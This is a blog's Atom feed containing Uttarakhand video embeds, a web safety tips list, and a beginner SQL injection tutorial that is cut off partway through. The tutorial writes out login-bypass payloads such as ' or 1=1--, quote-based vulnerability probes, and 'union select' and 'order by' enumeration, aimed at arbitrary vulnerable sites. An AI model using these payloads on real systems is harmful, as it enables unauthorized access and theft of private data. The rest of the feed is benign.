<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1025344304635377260</id><updated>2024-09-10T09:35:54.206-07:00</updated><category term="Uttarakhand"/><category term="YouTube"/><category term="seo"/><category term="video marketing"/><category term="video optimization"/><category term="video seo"/><category term="youtube seo"/><title type='text'>Ethical Hacker</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://eh4ck3r.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://eh4ck3r.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Mµkè$h</name><uri>http://www.blogger.com/profile/03129457919934812935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>13</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1025344304635377260.post-6119312105761545119</id><published>2013-04-29T19:58:00.007-07:00</published><updated>2013-04-29T19:58:52.231-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="video optimization"/><category scheme="http://www.blogger.com/atom/ns#" term="video seo"/><category scheme="http://www.blogger.com/atom/ns#" term="youtube seo"/><title type='text'>Uttarakhand</title><content type='html'>&lt;div xmlns=&#39;http://www.w3.org/1999/xhtml&#39;&gt;&lt;object height=&#39;350&#39; width=&#39;425&#39;&gt;&lt;param value=&#39;http://www.youtube.com/v/qh-GbaNeAHw&amp;amp;feature=youtube_gdata_player&#39; name=&#39;movie&#39;/&gt;&lt;br /&gt;&lt;param value=&#39;transparent&#39; name=&#39;wmode&#39;/&gt;&lt;br /&gt;&lt;embed height=&#39;350&#39; width=&#39;425&#39; wmode=&#39;transparent&#39; type=&#39;application/x-shockwave-flash&#39; src=&#39;http://www.youtube.com/v/qh-GbaNeAHw&amp;amp;feature=youtube_gdata_player&#39;/&gt; &lt;/object&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eh4ck3r.blogspot.com/feeds/6119312105761545119/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand_914.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/6119312105761545119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/6119312105761545119'/><link rel='alternate' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand_914.html' title='Uttarakhand'/><author><name>Mµkè$h</name><uri>http://www.blogger.com/profile/03129457919934812935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1025344304635377260.post-3256416908515800975</id><published>2013-04-29T19:58:00.005-07:00</published><updated>2013-04-29T19:58:51.333-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="video optimization"/><category scheme="http://www.blogger.com/atom/ns#" term="video seo"/><category scheme="http://www.blogger.com/atom/ns#" term="youtube seo"/><title type='text'>Uttarakhand</title><content type='html'>&lt;div xmlns=&#39;http://www.w3.org/1999/xhtml&#39;&gt;&lt;object height=&#39;350&#39; width=&#39;425&#39;&gt;&lt;param value=&#39;http://www.youtube.com/v/4w_v_ceLA_I&amp;amp;feature=youtube_gdata_player&#39; name=&#39;movie&#39;/&gt;&lt;br /&gt;&lt;param value=&#39;transparent&#39; name=&#39;wmode&#39;/&gt;&lt;br /&gt;&lt;embed height=&#39;350&#39; width=&#39;425&#39; wmode=&#39;transparent&#39; type=&#39;application/x-shockwave-flash&#39; src=&#39;http://www.youtube.com/v/4w_v_ceLA_I&amp;amp;feature=youtube_gdata_player&#39;/&gt; &lt;/object&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eh4ck3r.blogspot.com/feeds/3256416908515800975/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand_3741.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/3256416908515800975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/3256416908515800975'/><link rel='alternate' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand_3741.html' title='Uttarakhand'/><author><name>Mµkè$h</name><uri>http://www.blogger.com/profile/03129457919934812935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1025344304635377260.post-1299923839413002606</id><published>2013-04-29T19:58:00.003-07:00</published><updated>2013-04-29T19:58:50.382-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="video optimization"/><category scheme="http://www.blogger.com/atom/ns#" term="video seo"/><category scheme="http://www.blogger.com/atom/ns#" term="youtube seo"/><title type='text'>Uttarakhand</title><content type='html'>&lt;div xmlns=&#39;http://www.w3.org/1999/xhtml&#39;&gt;&lt;object height=&#39;350&#39; width=&#39;425&#39;&gt;&lt;param value=&#39;http://www.youtube.com/v/NppJ-XjDO6E&amp;amp;feature=youtube_gdata_player&#39; name=&#39;movie&#39;/&gt;&lt;br /&gt;&lt;param value=&#39;transparent&#39; name=&#39;wmode&#39;/&gt;&lt;br /&gt;&lt;embed height=&#39;350&#39; width=&#39;425&#39; wmode=&#39;transparent&#39; type=&#39;application/x-shockwave-flash&#39; src=&#39;http://www.youtube.com/v/NppJ-XjDO6E&amp;amp;feature=youtube_gdata_player&#39;/&gt; &lt;/object&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eh4ck3r.blogspot.com/feeds/1299923839413002606/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand_748.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/1299923839413002606'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/1299923839413002606'/><link rel='alternate' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand_748.html' title='Uttarakhand'/><author><name>Mµkè$h</name><uri>http://www.blogger.com/profile/03129457919934812935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1025344304635377260.post-9054002145646521556</id><published>2013-04-29T19:58:00.001-07:00</published><updated>2013-04-29T19:58:49.421-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="video optimization"/><category scheme="http://www.blogger.com/atom/ns#" term="video seo"/><category scheme="http://www.blogger.com/atom/ns#" term="youtube seo"/><title type='text'>Uttarakhand</title><content type='html'>&lt;div xmlns=&#39;http://www.w3.org/1999/xhtml&#39;&gt;&lt;object height=&#39;350&#39; width=&#39;425&#39;&gt;&lt;param value=&#39;http://www.youtube.com/v/-H_odROAdbc&amp;amp;feature=youtube_gdata_player&#39; name=&#39;movie&#39;/&gt;&lt;br /&gt;&lt;param value=&#39;transparent&#39; name=&#39;wmode&#39;/&gt;&lt;br /&gt;&lt;embed height=&#39;350&#39; width=&#39;425&#39; wmode=&#39;transparent&#39; type=&#39;application/x-shockwave-flash&#39; src=&#39;http://www.youtube.com/v/-H_odROAdbc&amp;amp;feature=youtube_gdata_player&#39;/&gt; &lt;/object&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eh4ck3r.blogspot.com/feeds/9054002145646521556/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand_1596.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/9054002145646521556'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/9054002145646521556'/><link rel='alternate' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand_1596.html' title='Uttarakhand'/><author><name>Mµkè$h</name><uri>http://www.blogger.com/profile/03129457919934812935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1025344304635377260.post-8114737788789034693</id><published>2013-04-29T19:52:00.007-07:00</published><updated>2013-04-29T19:52:23.074-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="seo"/><category scheme="http://www.blogger.com/atom/ns#" term="Uttarakhand"/><category scheme="http://www.blogger.com/atom/ns#" term="video marketing"/><category scheme="http://www.blogger.com/atom/ns#" term="YouTube"/><title type='text'>Uttarakhand</title><content type='html'>&lt;div xmlns=&#39;http://www.w3.org/1999/xhtml&#39;&gt;Uttarakhand Er. S.P Bahuguna&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eh4ck3r.blogspot.com/feeds/8114737788789034693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand_3705.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/8114737788789034693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/8114737788789034693'/><link rel='alternate' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand_3705.html' title='Uttarakhand'/><author><name>Mµkè$h</name><uri>http://www.blogger.com/profile/03129457919934812935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1025344304635377260.post-4543333396457096356</id><published>2013-04-29T19:52:00.005-07:00</published><updated>2013-04-29T19:52:22.063-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="seo"/><category scheme="http://www.blogger.com/atom/ns#" term="Uttarakhand"/><category scheme="http://www.blogger.com/atom/ns#" term="video marketing"/><category scheme="http://www.blogger.com/atom/ns#" term="YouTube"/><title type='text'>Uttarakhand</title><content type='html'>&lt;div xmlns=&#39;http://www.w3.org/1999/xhtml&#39;&gt;Uttarakhand Er. S.P Bahuguna&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eh4ck3r.blogspot.com/feeds/4543333396457096356/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand_557.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/4543333396457096356'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/4543333396457096356'/><link rel='alternate' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand_557.html' title='Uttarakhand'/><author><name>Mµkè$h</name><uri>http://www.blogger.com/profile/03129457919934812935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1025344304635377260.post-3597684666291064968</id><published>2013-04-29T19:52:00.003-07:00</published><updated>2013-04-29T19:52:21.250-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="seo"/><category scheme="http://www.blogger.com/atom/ns#" term="Uttarakhand"/><category scheme="http://www.blogger.com/atom/ns#" term="video marketing"/><category scheme="http://www.blogger.com/atom/ns#" term="YouTube"/><title type='text'>Uttarakhand</title><content type='html'>&lt;div xmlns=&#39;http://www.w3.org/1999/xhtml&#39;&gt;Uttarakhand Er. S.P Bahuguna&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eh4ck3r.blogspot.com/feeds/3597684666291064968/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand_29.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/3597684666291064968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/3597684666291064968'/><link rel='alternate' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand_29.html' title='Uttarakhand'/><author><name>Mµkè$h</name><uri>http://www.blogger.com/profile/03129457919934812935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1025344304635377260.post-2169028798301680619</id><published>2013-04-29T19:52:00.001-07:00</published><updated>2013-04-29T19:52:18.650-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="seo"/><category scheme="http://www.blogger.com/atom/ns#" term="Uttarakhand"/><category scheme="http://www.blogger.com/atom/ns#" term="video marketing"/><category scheme="http://www.blogger.com/atom/ns#" term="YouTube"/><title type='text'>Uttarakhand</title><content type='html'>&lt;div xmlns=&#39;http://www.w3.org/1999/xhtml&#39;&gt;Uttarakhand Er. S.P Bahuguna&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eh4ck3r.blogspot.com/feeds/2169028798301680619/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/2169028798301680619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/2169028798301680619'/><link rel='alternate' type='text/html' href='http://eh4ck3r.blogspot.com/2013/04/uttarakhand.html' title='Uttarakhand'/><author><name>Mµkè$h</name><uri>http://www.blogger.com/profile/03129457919934812935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1025344304635377260.post-1270926591099095120</id><published>2012-10-19T12:30:00.000-07:00</published><updated>2012-10-19T12:30:05.555-07:00</updated><title type='text'></title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Points to remember to stay safe and secure on the WWW.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;1. Install a good antivirus/IDS&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
There are many sites on the net spreading Trojans, viruses and all kind 
of dirty stuff! If you are without a Anti-Virus, then it is most likely 
you will get infected within a day or so!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2. Update your OS at least once in 3 days&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Never Ever avoid updating your OS no matter if its Linux, Windows , Mac 
etc. There are exploits released almost every day and if you are without
 updates then it’s a invite to Hackers.&lt;br /&gt;
  &lt;br /&gt;
&lt;b&gt;3. Never blindly click any links&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Don’t even trust Google , If the link is given to you from a untrusted 
location it may point to a Trojan ,Virus , Phished Page , etc..&lt;br /&gt;
  &lt;br /&gt;
&lt;b&gt;4. Don’t use same passwords on multiple sites&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Using a same password on multiple sites is the worst thing common users 
do while surfing the web. Same passwords on multiple sites are an easy 
way for hackers to get access to your other accounts on the web.&lt;br /&gt;
  &lt;br /&gt;
&lt;b&gt;5. Avoid registrations when you can do things without it&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Most of the people of the net are just unaware of the fact that 
registering on multiple sites can affect their privacy and can lead to 
further problems. Eg :- If i hacked a website where you are registered 
and i find some of your details from the site’s database , These details
 can help me crack your password on other sites and eventually leading 
to further attacks.&lt;br /&gt;
  &lt;br /&gt;
&lt;b&gt;6. Scan the website before visiting&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
If your friend sent you a link and you want to test it if it’s secure to
 visit that site , then you can scan the website for malicious files in 
some online scanners , (It just take a minute!)&lt;br /&gt;
  &lt;br /&gt;
&lt;b&gt;7.  Use strong passwords&lt;/b&gt;&lt;br /&gt;
  &lt;br /&gt;
Powerful Passwords refer to a password which at least contains a letter(Small as well as Capital) , number , Special Character.&lt;br /&gt;
  I4aUncr4c4b13*@#&lt;br /&gt;
  Use of keywords like your birth date, name, username etc is a big NO.&lt;br /&gt;
  &lt;br /&gt;
&lt;b&gt;8. Don’t trust anybody you don’t know&lt;/b&gt;&lt;br /&gt;
  &lt;br /&gt;
There are bad guys whole over the World Wide Web (especially on social 
networking sites), Hunting for victims, they ask for your sensitive 
information leading to successful exploitation of your account. Read 
more about &lt;a href=&quot;http://en.wikipedia.org/wiki/Social_engineering_%28security%29&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Social Engineering&lt;/a&gt; for more info&lt;br /&gt;
  &lt;br /&gt;
&lt;b&gt;9. Always use a secure browser&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Client side attacks are a common way to get access to your machine, 
today most of the attack are undetectable by AV’s and IDS. Till date I 
find Mozilla Firefox to be the most secure and Internet Explorer to be 
the most weak.
  
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://eh4ck3r.blogspot.com/feeds/1270926591099095120/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://eh4ck3r.blogspot.com/2012/10/points-to-remember-to-stay-safe-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/1270926591099095120'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/1270926591099095120'/><link rel='alternate' type='text/html' href='http://eh4ck3r.blogspot.com/2012/10/points-to-remember-to-stay-safe-and.html' title=''/><author><name>Mµkè$h</name><uri>http://www.blogger.com/profile/03129457919934812935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1025344304635377260.post-3462286605533714047</id><published>2012-10-19T12:15:00.005-07:00</published><updated>2012-10-19T12:16:13.920-07:00</updated><title type='text'></title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Intro&lt;/h3&gt;
&lt;br /&gt;
I will demonstrate the 
infamous MySQL injection in newbie perspective so that all the newbies 
become able to become successful SQL injector. But, be sure to check 
various PHP &amp;amp; MySQL functions in various sites which will help you a
 lot.
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;db&quot;&gt;&lt;/a&gt;What Is Database?&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
Just general info.. Database is the application that stores a collection
 of data. Database offers various APIs for creating, accessing and 
managing the data it holds. And database(DB) servers can be integrated 
with our web development so that we can pick up the things we want from 
the database without much difficulties. DB may hold various critical 
informations like usernames, passwords, credit cares,etc. So, DB need to
 be secured but many DB servers running are insecured either because of 
their vulnerability or because of poor programming handles. To name few 
DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre 
SQL(open source), SQLite, etc.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;sqlinjection&quot;&gt;&lt;/a&gt;What Is SQL Injection?&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
SQL injection is probably the most abundant programming flaw that exists
 on the internet at present. It is the vulnerability through which 
unauthorized person can access the various critical and private dat. SQL
 injection is not a flaw in the web or db server but but is a result of 
the poor and inexperienced programming practices. And it is one of the 
deadliest as well as easiest attack to execute from remote location.&lt;br /&gt;
&lt;br /&gt;
In SQL injection, we interact with DB server with the various commands 
and get various data from it. In this tutorial, I would be discussing 3 
aspects of SQL injection namely bypassing logins, accessing the secret 
data and modifying the page contents. So lets head forward on our real 
walkthrough..&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;bypasslogin&quot;&gt;&lt;/a&gt;Bypassing Logins&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
Suppose, a site has a login form &amp;amp; only the registered users are 
allowed to enter the site. Now, say u wanted to bypass the login and 
enter the site as the legitimate user. If the login script is not 
properly sanitized by the programmer, u may have luck to enter the site.
 U might be able to login into the site without knowing the real 
username and real password by just interacting with the DB server. So, 
isn&#39;t that the beauty of SQL injection??&lt;br /&gt;
&lt;br /&gt;
Let&#39;s see an example, where the username admin with the password h4ck 
can login to the site. Suppose, the SQL query for this is carried out as
 below:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;SELECT USER from database WHERE username=&#39;admin&#39; AND password=&#39;h4ck&#39;&lt;/pre&gt;
&lt;/div&gt;
And if above SELECT command evaluates true, user will be given 
access to the site otherwise not. Think what we could do if the script 
is not sanitized. This opens a door for the hackers to gain illegal 
access to the site.&lt;br /&gt;
&lt;br /&gt;
In this example, the attacker can enter the following user data in the login form:&lt;br /&gt;
&lt;br /&gt;
username:a or 1=1--&lt;br /&gt;
password:blank&lt;br /&gt;
&lt;br /&gt;
So, this would make our query as:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;SELECT USER from database WHERE username=&#39;a&#39; or 1=1-- AND password=&#39;&#39;&lt;/pre&gt;
&lt;/div&gt;
Note that -- is the comment operator and anything after it will be
 ignored as a comment. There exists another comment operator which is 
/*.&lt;br /&gt;
&lt;br /&gt;
So our above query becomes:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;SELECT USER from database WHERE username=&#39;a&#39; or 1=1&lt;/pre&gt;
&lt;/div&gt;
Now this query evaluates true even if there is no user called &#39;a&#39; 
because 1=1 is always true and using OR makes the query return true when
 one of the query is true. And this gives access to the site admin 
panel.&lt;br /&gt;
&lt;br /&gt;
There can be various other username and password combinations to play 
with the vulnerable sites. U can create ur own new combinations for the 
site login.&lt;br /&gt;
&lt;br /&gt;
Few such combinations are:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 66px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;username:&#39; or 1=&#39;1        password:&#39; or 1=&#39;1
username:&#39; or &#39;1&#39;=&#39;1&#39;    password:&#39; or &#39;1&#39;=&#39;1&#39;
username:or 1=1        password:or 1=1&lt;/pre&gt;
&lt;/div&gt;
and there are many more cheat sheets. Just google. In fact, you can create your own such combinations to bypass logins..&lt;br /&gt;
&lt;br /&gt;
That&#39;s all about bypassing logins.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;accessdata&quot;&gt;&lt;/a&gt;Accessing Secret Data&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
SQL injection is not essentially done for bypassing logins only but it 
is also used for accessing the sensitive and secret data in the DB 
servers. This part is long, so I would be discussing in the subsections.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;checkvul&quot;&gt;&lt;/a&gt;Checking for vulnerability&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
Suppose, u got a site:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5&lt;/pre&gt;
&lt;/div&gt;
Now to check if it is vulnerable, u would simply add &#39; in the end i.e. where id variable is assigned.&lt;br /&gt;
So, it is:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5&#39;&lt;/pre&gt;
&lt;/div&gt;
Now if the site is not vulnerable, it filters and the page loads normally.&lt;br /&gt;
But, if it doesn&#39;t filter the query string, it would give the error something like below:&lt;br /&gt;
&quot;MySQL Syntax Error By &#39;5&#39;&#39; In Article.php on line 15.&quot;&lt;br /&gt;
or&lt;br /&gt;
error that says us to check the correct MySQL version or MySQL Fetch 
error or sometimes just blank page. The error may be in any form. So it 
makes us sure that the site is vulnerable.&lt;br /&gt;
&lt;br /&gt;
Also just using &#39; may not be the sure test; so you may try different things like:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 union select 1--&lt;/pre&gt;
&lt;/div&gt;
If you get error with this, you again come to know that its vulnerable... Just try different things..&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;findcol&quot;&gt;&lt;/a&gt;Find the number of columns&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
So, now its time to find the number of columns present. For this purpose, we will be using &#39;order by&#39; until we get error.&lt;br /&gt;
&lt;br /&gt;
That is, we make our URL query as:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;site.com/article.php?id=5 order by 1/*&lt;/pre&gt;
&lt;/div&gt;
This didn&#39;t give error.&lt;br /&gt;
&lt;br /&gt;
Now, I do increase it to 2.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
